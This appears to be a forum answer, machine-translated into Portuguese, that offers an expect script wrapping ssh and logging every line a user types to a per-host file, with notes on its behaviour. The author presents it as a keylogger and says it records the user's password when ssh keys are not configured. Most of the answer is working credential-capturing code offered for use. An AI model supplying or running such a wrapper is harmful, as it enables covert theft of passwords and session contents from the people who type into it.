Fiquei intrigado com a sua pergunta. Eu não ia dar uma resposta, mas fiquei viciado.
Isso usa expect
e é realmente um criador de chaves.
#!/usr/bin/expect -f
proc log {msg} {
puts $::fh "[timestamp -format {%Y-%m-%d %H:%M:%S}]: $msg"
}
set ssh_host [lindex $argv 0]
set ::fh [open "sshlog.$ssh_host" a]
log "{session starts}"
spawn ssh $ssh_host
interact {
-re "(.)" {
set char $interact_out(1,string)
if {$char eq "\r"} {
log $keystrokes
set keystrokes ""
} else {
append keystrokes $char
}
send -- $char
}
eof
}
log "{session ends}"
Notas:
- anexa a um arquivo com o destino ssh no nome
- é um registrador de chaves: se você não tiver configurado as chaves ssh, receberá a senha do usuário no arquivo de log
- é anulado pela conclusão da tabulação: se o usuário digitar u p t Tab (para o
uptime
command), você obterá "upt \ t" no arquivo de log, não "uptime" - ele captura caracteres no modo "raw": se o usuário for um mau datilógrafo, você obterá muitos
^?
(caracteres de retrocesso) no arquivo de log.